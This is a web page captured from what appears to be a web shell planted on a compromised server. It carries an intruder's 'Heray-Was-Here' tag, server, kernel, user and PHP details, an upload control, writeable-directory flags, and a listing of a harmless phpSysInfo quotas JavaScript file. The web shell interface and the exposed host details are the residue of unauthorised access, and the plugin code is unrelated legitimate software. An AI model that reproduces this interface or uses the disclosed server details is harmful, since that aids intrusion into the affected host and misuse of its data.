Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/phpsysinfo/includes/phpsysinfo/plugins/quotas/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/phpsysinfo/includes/phpsysinfo/plugins/quotas/js/quotas_bootstrap.js
function renderPlugin_quotas(data) {

    var directives = {

        ByteUsed: {
            html: function () {
                return formatBytes(this.ByteUsed, data.Options["@attributes"].byteFormat);
            }
        },
        ByteSoft: {
            html: function () {
                return formatBytes(this.ByteSoft, data.Options["@attributes"].byteFormat);
            }
        },
        ByteHard: {
            html: function () {
                return formatBytes(this.ByteHard, data.Options["@attributes"].byteFormat);
            }
        },
        BytePercentUsed: {
            html: function () {
                return '<div class="progress"><div class="progress-bar progress-bar-info" style="width:' + this.BytePercentUsed + '%;"></div>' +
                        '</div><div class="percent">' + this.BytePercentUsed + '%</div>';
            }
        },
        FilePercentUsed: {
            html: function () {
                return '<div class="progress"><div class="progress-bar progress-bar-info" style="width:' + this.FilePercentUsed + '%;"></div>' +
                        '</div><div class="percent">' + this.FilePercentUsed + '%</div>';
            }
        }
    };

    if (data.Plugins.Plugin_Quotas !== undefined) {
        var qtitems = items(data.Plugins.Plugin_Quotas.Quota);
        if (qtitems.length > 0) {
            var qt_memory = [];
            qt_memory.push_attrs(qtitems);
            $('#quotas-data').render(qt_memory, directives);
            $('#quotas_User').removeClass("sorttable_sorted"); // reset sort order
            sorttable.innerSortFunction.apply($('#quotas_User')[0], []);

            $('#block_quotas').show();
        } else {
            $('#block_quotas').hide();
        }
    } else {
        $('#block_quotas').hide();
    }
}

Hry